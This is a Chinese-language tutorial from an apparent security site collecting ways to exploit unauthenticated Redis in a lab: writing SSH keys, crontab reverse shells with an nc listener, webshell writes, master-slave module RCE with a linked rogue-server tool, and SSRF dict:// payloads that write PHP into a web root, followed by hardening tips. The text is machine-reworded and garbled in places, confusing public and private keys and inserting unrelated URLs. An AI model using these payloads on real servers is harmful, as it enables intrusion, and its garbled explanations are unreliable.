您现在的位置是:首页 > 密码破解

网站渗透新手入门|Redis系列产品系统漏洞汇总

作者:果E安全网时间:2020-10-24 00:44:11分类:密码破解

简介Redis的未受权系统漏洞一直全是一个挺火的系统漏洞,近期看很多老前辈的文章内容自身重现后,依据自身的实践活动再度汇总一下,为今后备考便捷回望。port参数格式为port后边接服务器端口,如port6379,表明Redis网络服务器将在6379端口号上开展监视来等候客户端的联接。bind参数格式为bind后边接IP地址,能够另外关联在好几个IP地址上,I

Redis的未受权系统漏洞一直全是一个挺火的系统漏洞,近期看很多老前辈的文章内容自身重现后,依据自身的实践活动再度汇总一下,为今后备考便捷回望。

port参数

格式为port后边接服务器端口,如port 6379,表明Redis网络服务器将在6379端口号上开展监视来等候客户端的联接。

bind参数

格式为bind后边接IP地址,能够另外关联在好几个IP地址上,IP地址中间用空格符分离出来,如bind 192.168.1.100 10.0.0.1,表容许192.168.1.100和10.0.0.一两个IP联接。假如设定为0.0.0.0则表明随意ip都可以联接,简言之便是授权管理。

save参数

格式为save<秒数><变化数>,表明在特定的分秒内数据库查询存有特定的更改数时全自动开展备份数据(Redis是内存数据库,这儿的备份数据是指把运行内存中的备份数据到硬盘上)。能够另外特定好几个save参数,如:

save 900 1

save 300 10

save 60 10000

表明假如数据库查询的內容在60秒后造成了10000次更改,或是300秒后造成了10次更改,或是900秒后造成了1次更改,那麼马上开展备份数据实际操作。

requirepass参数

格式为requirepass后接特定的登陆密码,用以特定客户端在联接Redis远程服务器所应用的登陆密码。Redis默认设置的登陆密码参数是空的,表明不用登陆密码就可以联接;另外,环境变量有一条注解了的requirepass foobared命令,假如除掉注解,表明必须应用foobared登陆密码才可以联接Redis数据库查询。

dir参数

格式为dir后接特定的途径,默认设置为dir http://www.联合利华信息平台网.com/articles/web/,指出Redis的工作中文件目录为当前目录,即redis-server文件所属的文件目录。留意,Redis造成的备份数据将放到这一文件目录下。

dbfilename参数

格式为dbfilename后接特定的文件目录,用以特定Redis备份数据的姓名,默认设置为dbfilename dump.rdb,即备份数据的姓名为dump.rdb。

config命令

根据config命令能够载入和设定dir参数及其dbfilename参数,由于这条命令较为风险(试验将开展详解),因此 Redis在环境变量中出示了rename-command参数来对其开展重新命名实际操作,如rename-command CONFIG HTCMD,能够将CONFIG命令重新命名为HTCMD。环境变量默认设置是沒有对CONFIG命令开展重新命名实际操作的。

protected-mode参数

redis3.2以后加上了protected-mode安全中心,初始值为yes,打开后严禁外界联接,因此 在检测时,先在配备中改动为no。战机Kali(192.168.33.131)总体目标机Ubantu 16(192.168.33.133)

运用原理:

Redis 出示了2种不一样的持久化方法,RDB方法和AOF方法.

RDB 持久化能够在特定的间隔时间内形成数据的时间点快照更新AOF 持久化纪录网络服务器实行的全部写实际操作命令.

历经查询官方网站文本文档发觉AOF方法备份数据数据库查询的文件夹名称默认设置为appendonly.aof,能够在环境变量中根据appendfilename设定别的名字,根据检测发觉不可以在客户端互动中动态性设定appendfilename,因此 不可以根据AOF方法备份数据写随意文档.

RDB方法备份数据数据库查询的文件夹名称默认设置为dump.rdb,此文件夹名称能够根据客户端互动动态性设定dbfilename来变更,导致能够写随意文档.

吊舱:unbantu 16

安裝以后打开redis服务项目提前准备重现

原理:

SSH出示二种登陆认证方法,一种是动态口令认证也就是账户密码登陆,另一种是密匙认证。

说白了密匙认证,实际上便是一种根据公钥登陆密码的验证,应用公钥数据加密、公钥破译,在其中公钥是能够公布的,放到服务端,你能把同一个公钥放到全部你要SSH远程登陆的网络服务器中,而公钥是保密协议的唯有你自身了解,公钥数据加密的信息仅有公钥才可以破译,大致全过程以下:

(1)客户端形成公钥和公钥,并把公钥复制给服务端; (2)客户端进行登陆要求,推送自身的基本信息; (3)服务端依据客户端发过来的信息内容搜索是不是存在该客户端的公钥,若沒有回绝登陆,若有则形成一段随机数字应用该公钥数据加密后发给客户端; (4)客户端接到网络服务器发过来的数据加密后的信息后应用公钥破译,并把破译后的結果发送给网络服务器用以认证; (5)网络服务器接到客户端发过来的破译結果,与自身刚刚形成的随机数字核对,若一样则容许登陆,不一样则回绝登陆。

标准:

1、Redis服务项目应用ROOT账户起动

2、网络服务器对外开放了SSH服务项目,并且容许应用密匙登陆,就可以远程控制载入一个公钥,立即登陆虚拟服务器。

详尽流程:

在战机当地形成公钥文档:

必须为大家的公钥文档设定一个公钥

公钥文档默认设置途径:/root/.ssh/id_rsa.pub

实际命令:

随后根据未受权浏览总体目标机

实际命令

运用公钥开展SSH登陆战机,第一次必须键入yes

5.jpg

原理:

大家都了解crontab是做任务计划的,起动的每日任务储放在/var/spool/cron中,root能够改动任务计划,能够将实行命令反跳shell立即载入任务计划中

标准:

root开启Redis

redis无登陆密码或是明文密码

详尽流程:

先在战机应用nc监视8888端口号nc lvp 8888

8.jpg

随后去实际操作Redis,实际命令:

9.jpg

见到监视的命令行对话框早已有弹回去的shell了(这里有许多 的坑,ubantu载入会出現错码和不回弹力的状况,反跳shell检测最好是還是用centos测试吧)

ubantu的坑参照这一文章内容https://www.dazhuanlan.com/2019/11/15/5dce507a41df5/

标准:

了解网址绝对路径,而且必须增删管理权限

root起动redis

redis明文密码或是无登陆密码

填补:若不清楚物理学途径,可试着找寻网址的应用软件不正确或是普遍绝对路径去试着。

详尽流程:

11.jpg

取得成功载入

12.jpg

原理:

? Redis假如当把数据储存在单独Redis的案例中,当读写能力规模较为大的情况下,服务器端就难以承担。为了更好地解决这类状况,Redis就出示了主从关系方式,主从关系方式是指应用一个redis案例做为服务器,别的案例都做为备份数据机,在其中服务器和从机数据信息同样,而从机只承担读,服务器只承担写,根据读写分离能够大幅缓解总流量的工作压力,算作一种根据放弃室内空间来获得高效率的减轻方法。

? 在2个Redis案例设定主从关系方式的情况下,Redis的服务器案例能够根据FULLRESYNC同歩文档到从机里,随后在从机里载入so文件,大家就可以实行扩展的新命令了。

标准:

Redis 版本号(4.x~5.0.5)(增加控制模块作用,能够根据C语言并编译程序出故意.so文件)

redis明文密码或是无登陆密码

root起动redis

详尽流程:

仿真模拟从属关系,实际命令

设定从属关系

随后在kali免费下载运用专用工具https://github.com/n0b0dyCN/redis-rogue-server

免费下载以后cd进到RedisModulesSDK文件目录应用make编译程序,自然不愿编译程序还可以用创作者得出的默认设置exp.so也是能够的。

有二种操作方法

一种是互动式shell,另一种是反跳shell

互动shell演试:

16.jpg

反跳shell

15.jpg

ps:redis主从关系RCE打多了会出現redis偏瘫的状况,因此 不上迫不得已,尽可能不必打主从关系

原理:

SSRF进攻的总体目标是以外网地址无法打开的內部系统软件,这儿根据SSRF应用dict协议书浏览当地Redis

标准:

root开启redis

总体目标机存有dict协议书

了解网址绝对路径

redis无登陆密码或是明文密码

详尽流程:

应用pikachu的射击场,这儿选用dict协议书,总体目标机必须先安裝dict协议书

这儿立即载入<>会被实体线编号,?立即被断开,临时没找到解决方案

dict://192.168.33.134:6379/set:xz:<?php phpinfo() ;?>dict://192.168.33.134:6379/config:set:dir:/www/admin/localhost_80/wwwroot dict://192.168.33.134:6379/config:set:dbfilename:ssrf.php

{X }

  dict://192.168.33.134:6379/save

  直接写入失败,所以可以采用主从复制写入

  dict://192.168.33.134:6379/slaveof:192.168.33.131:6379 dict://192.168.33.134:6379/config:set:dir:/www/admin/localhost_80/wwwroot

  dict://192.168.33.134:6379/config:set:dbfilename:ssrf.php

  先设置好保存的路径和保存的文件名

  然后登入kali进行主从复制操作,方法和上面的一样

  127.0.0.1:6379> set xxx "

  

<?php phpinfo() ;?>

  "

  再去web端执行save操作

  dict://192.168.33.134:6379/save

  这样数据直接回同步到目标机

  写入失败截图:

  

成功写入截图:

  

1599641379.png!small

  

  redis2.6之前内置了lua脚本环境在redis未授权的情况下可以利用lua执行系统命令,这里没有深入研究,感兴趣可以看这篇文章:https://wooyun.x10sec.org/static/drops/papers-3062.html

  https://github.com/Ridter/hackredis

  redis未授权访问致远程植入挖矿脚本(防御篇)

  https://mp.weixin.qq.com/s/eUTZsGUGSO0AeBUaxq4Q2w

  Windows下如何getshell?

  1、禁止一些高危命令(重启redis才能生效)

  修改 redis.conf 文件,禁用远程修改 DB 文件地址

  或者通过修改redis.conf文件,改变这些高危命令的名称

  2、以低权限运行 Redis 服务(重启redis才能生效)

  为 Redis 服务创建单独的用户和家目录,并且配置禁止登陆

  3、为 Redis 添加密码验证(重启redis才能生效)

  修改 redis.conf 文件,添加

  4、禁止外网访问 Redis(重启redis才能生效)

  修改 redis.conf 文件,添加或修改,使得 Redis 服务只在当前主机可用

  在redis3.2之后,redis增加了protected-mode,在这个模式下,非绑定IP或者没有配置密码访问时都会报错。

  5、修改默认端口

  修改配置文件redis.conf文件

  默认端口是6379,可以改变成其他端口(不要冲突就好)

  6、保证 authorized_keys 文件的安全

  为了保证安全,您应该阻止其他用户添加新的公钥。

  将 authorized_keys 的权限设置为对拥有者只读,其他用户没有任何权限:

  为保证 authorized_keys 的权限不会被改掉,您还需要设置该文件的 immutable 位权限:

  然而,用户还可以重命名 ~/.ssh,然后新建新的 ~/.ssh 目录和 authorized_keys 文件。要避免这种情况,需要设置 ~http://www.宝洁信息网.com/articles/web/ssh 的 immutable 权限:

  7、设置防火墙策略

  如果正常业务中Redis服务需要被其他服务器来访问,可以设置iptables策略仅允许指定的IP来访问Redis服务。

  参考文章:

  https://www.宝洁信息网.com/column/158065.html

  https://paper.seebug.org/975/

郑重声明:

果E安全网所有活动均为互联网所得,如有侵权请联系本站删除处理,转载请注明本站地址。

我来说两句